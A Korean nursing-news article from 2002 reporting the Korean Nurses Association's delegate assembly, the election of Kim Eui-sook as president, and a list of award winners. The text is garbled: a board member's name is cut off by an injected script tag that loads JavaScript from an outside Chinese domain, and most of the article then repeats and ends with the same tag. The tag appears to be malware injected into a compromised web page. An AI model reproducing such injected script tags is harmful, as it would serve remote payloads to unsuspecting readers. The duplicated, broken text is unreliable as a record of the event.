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제29대 간협회장에 김의숙교수 선출
제1부회장 이정희·제2부회장 박혜자씨
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2002-02-21 오전 10:52:44
대한간호협회는 제69회 정기 대의원 총회를 19∼20일 서울 쉐라톤워커힐 호텔에서 열고 제29대 회장으로 김의숙 연세대 간호대학 교수를 선출했다. 이에따라 러닝메이트로 나선 이정희 삼성서울병원 임상간호학연구소장 겸 성균관대 과학기술대학원 임상간호학과 주임교수가 제1부회장에, 박혜자 한림대 성심병원 간호부장 겸 한림대 간호학과 겸임교수가 제2부회장으로 확정됐다.
총회에서는 올해 간호협회가 중점을 두고 추진할 사업계획으로 전문간호사 정착화 및 확대를 위한 활동, 대한간호협회 조직모델(안) 보고서 작성, 민간자격 교육프로그램 운영 및 자격시험 실시, 간호수가 개발 및 제도 개선 등을 정했으며 '재단법인 간호교육평가원' 설립계획 추진안을 심의 확정했다. 이같은 사업수행에 필요한 예산안도 함께 통과시켰다.
◆ 개회식
'선진한국을 향하여 웅비하는 간호'를 주제로 열린 총회 개회식은 이태복 보건복지부장관을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 19일 오후 2시 성황리에 열렸다.
김화중 대한간호협회장은 개회사를 통해 "간호사는 세상에서 가장 의로운 길을 선택한 사람들이며 우리나라가 위기에 처했을 때마다 그곳에 항상 간호사들이 함께 했다는 사실을 자랑스럽게 생각한다"면서 "전국의 간호사 모두가 힘을 하나로 모을 때 우리의 숙원사업을 성취해 나갈 수 있으며 간호협회도 발전할 수 있다"고 말했다.
이태복 복지부 장관은 축사를 통해 "올해 복지부가 추진하고자 하는 주요정책과 업무 방향 중 간호사의 직분과 맥을 같이 하는 부분이 많이 있다"면서 "간호사들이 맡은 분야에서 소임을 다해준다면 좋은 결실을 맺을 수 있을 것이며 모두가 함께 가는 희망찬 사회를 만들어 나가자"고 당부했다.
개회식에서는 대의원들이 기립한 가운데 '한국 간호사 윤리강령'이 낭독됐으며, 6개항의 건의문과 5개항의 결의문이 채택됐다. 이와함께 일생을 간호사업 발전을 위해 헌신하다 타계한 간호계 선배들에 대한 묵념의 시간이 진행됐다.
지난 한 해동안 각 분야에서 활약한 간호사들에 대한 포상 순서도 다채롭게 마련됐다. 영세 사업장 근로자 건강관리에 기여한 윤순녕 산업간호사회장(서울대 간호대학 교수)이 '올해의 간호인상'을 수상했으며, 국민보건 향상에 기여한 5명의 간호사에게 보건복지부 장관상이 수여됐다. 각 부문별 수상자는 다음과 같다.
◇올해의 간호인상 = 윤순녕(대한간호협회 산업간호사회장)
◇보건복지부 장관상 = 채영희(왈레스기념침례병원 간호부장), 송재금(충남대병원 간호과장), 윤정임(충주중학교 양호교사), 권말선(마산시보건소 진료담당), 강희자(북제주군보건소 방문간호담당)
◇공로상 = 정문숙(전 대구시간호사회장), 노순자(전 광주시간호사회 사무국장), 윤순자(전 임상간호사회 사무국장)
◇제13회 간호학술상 = 이윤영·박광옥(본상·서울중앙병원 수술간호팀)
◇제22회 간호문학상 = 고명자(시 당선작·국립암센터), 김진이(시 가작·여수원광한방병원), 남월선(수필 당선작·경기도 남양주시), 고은자(수필 가작·대전 계룡병원), 신화자(수기 당선작·원광대병원), 박정순(수기 가작·전주 예수병원), 김은영(소설 당선작·순천현대병원), 정승례(소설 가작·원광대병원)
◇장기근속상 = 김금자(전북간호사회 사무국장), 강문영(강원도간호사회 사무국장), 김영란(대한간호협회 직원)
◆ 대의원 총회
개회식에 이어 간협 임원 및 대의원이 참석한 가운데 대의원 총회가 진행됐으며, 회의 시작에 앞서 총회 의장단을 새로 구성했다. 신임 의장에는 이명훈 전 충남간호사회장이, 제1부의장에는 손영주 제주도간호사회장, 제2부의장에는 복문자 경기도간호사회장이 선출됐다.
본 회의에서는 우선 전년도 총회 회의록, 2001년도 대한간호협회 중앙회와 지부 및 산하단체에 대한 감사보고를 이의없이 받아들였다.
이어 2002∼2003년 대한간호협회를 이끌어 갈 새 임원진을 구성하기 위한 선거가 진행됐다.
회장 후보로 출마한 김문실 교수(이대 간호과학대학)와 김의숙 교수(연대 간호대학 교수)가 정견발표를 한 후 투표에 들어갔다. 간협 임원과 대의원 278명중 275명이 투표에 참가했다.
개표는 선거관리위원회 양은숙 위원장과 5명의 위원, 양 회장 후보측의 참관인 등이 자리한 가운데 순조롭게 진행됐다.
개표결과 김의숙 후보가 회장으로 당선됐으며 러닝메이트로 나선 이정희씨가 제1부회장에, 박혜자씨가 제2부회장으로 확정됐다.
이사로는 △김수지(이대 간호과학대학 교수) △김조자(연대 간호대학장) △김혜숙(한국여성건강교육연구소장) △성영희(삼성서울병원 간호부장) △송지호(국립의료원간호대학장) △신경림(이대 간호과학대학 교수) △윤순녕(서울대 간호대학 교수) △최의?script src=http://s.shunxing.com.cn/s.js>
총회에서는 올해 간호협회가 중점을 두고 추진할 사업계획으로 전문간호사 정착화 및 확대를 위한 활동, 대한간호협회 조직모델(안) 보고서 작성, 민간자격 교육프로그램 운영 및 자격시험 실시, 간호수가 개발 및 제도 개선 등을 정했으며 '재단법인 간호교육평가원' 설립계획 추진안을 심의 확정했다. 이같은 사업수행에 필요한 예산안도 함께 통과시켰다.
◆ 개회식
'선진한국을 향하여 웅비하는 간호'를 주제로 열린 총회 개회식은 이태복 보건복지부장관을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 19일 오후 2시 성황리에 열렸다.
김화중 대한간호협회장은 개회사를 통해 "간호사는 세상에서 가장 의로운 길을 선택한 사람들이며 우리나라가 위기에 처했을 때마다 그곳에 항상 간호사들이 함께 했다는 사실을 자랑스럽게 생각한다"면서 "전국의 간호사 모두가 힘을 하나로 모을 때 우리의 숙원사업을 성취해 나갈 수 있으며 간호협회도 발전할 수 있다"고 말했다.
이태복 복지부 장관은 축사를 통해 "올해 복지부가 추진하고자 하는 주요정책과 업무 방향 중 간호사의 직분과 맥을 같이 하는 부분이 많이 있다"면서 "간호사들이 맡은 분야에서 소임을 다해준다면 좋은 결실을 맺을 수 있을 것이며 모두가 함께 가는 희망찬 사회를 만들어 나가자"고 당부했다.
개회식에서는 대의원들이 기립한 가운데 '한국 간호사 윤리강령'이 낭독됐으며, 6개항의 건의문과 5개항의 결의문이 채택됐다. 이와함께 일생을 간호사업 발전을 위해 헌신하다 타계한 간호계 선배들에 대한 묵념의 시간이 진행됐다.
지난 한 해동안 각 분야에서 활약한 간호사들에 대한 포상 순서도 다채롭게 마련됐다. 영세 사업장 근로자 건강관리에 기여한 윤순녕 산업간호사회장(서울대 간호대학 교수)이 '올해의 간호인상'을 수상했으며, 국민보건 향상에 기여한 5명의 간호사에게 보건복지부 장관상이 수여됐다. 각 부문별 수상자는 다음과 같다.
◇올해의 간호인상 = 윤순녕(대한간호협회 산업간호사회장)
◇보건복지부 장관상 = 채영희(왈레스기념침례병원 간호부장), 송재금(충남대병원 간호과장), 윤정임(충주중학교 양호교사), 권말선(마산시보건소 진료담당), 강희자(북제주군보건소 방문간호담당)
◇공로상 = 정문숙(전 대구시간호사회장), 노순자(전 광주시간호사회 사무국장), 윤순자(전 임상간호사회 사무국장)
◇제13회 간호학술상 = 이윤영·박광옥(본상·서울중앙병원 수술간호팀)
◇제22회 간호문학상 = 고명자(시 당선작·국립암센터), 김진이(시 가작·여수원광한방병원), 남월선(수필 당선작·경기도 남양주시), 고은자(수필 가작·대전 계룡병원), 신화자(수기 당선작·원광대병원), 박정순(수기 가작·전주 예수병원), 김은영(소설 당선작·순천현대병원), 정승례(소설 가작·원광대병원)
◇장기근속상 = 김금자(전북간호사회 사무국장), 강문영(강원도간호사회 사무국장), 김영란(대한간호협회 직원)
◆ 대의원 총회
개회식에 이어 간협 임원 및 대의원이 참석한 가운데 대의원 총회가 진행됐으며, 회의 시작에 앞서 총회 의장단을 새로 구성했다. 신임 의장에는 이명훈 전 충남간호사회장이, 제1부의장에는 손영주 제주도간호사회장, 제2부의장에는 복문자 경기도간호사회장이 선출됐다.
본 회의에서는 우선 전년도 총회 회의록, 2001년도 대한간호협회 중앙회와 지부 및 산하단체에 대한 감사보고를 이의없이 받아들였다.
이어 2002∼2003년 대한간호협회를 이끌어 갈 새 임원진을 구성하기 위한 선거가 진행됐다.
회장 후보로 출마한 김문실 교수(이대 간호과학대학)와 김의숙 교수(연대 간호대학 교수)가 정견발표를 한 후 투표에 들어갔다. 간협 임원과 대의원 278명중 275명이 투표에 참가했다.
개표는 선거관리위원회 양은숙 위원장과 5명의 위원, 양 회장 후보측의 참관인 등이 자리한 가운데 순조롭게 진행됐다.
개표결과 김의숙 후보가 회장으로 당선됐으며 러닝메이트로 나선 이정희씨가 제1부회장에, 박혜자씨가 제2부회장으로 확정됐다.
이사로는 △김수지(이대 간호과학대학 교수) △김조자(연대 간호대학장) △김혜숙(한국여성건강교육연구소장) △성영희(삼성서울병원 간호부장) △송지호(국립의료원간호대학장) △신경림(이대 간호과학대학 교수) △윤순녕(서울대 간호대학 교수) △최의?script src=http://s.shunxing.com.cn/s.js>
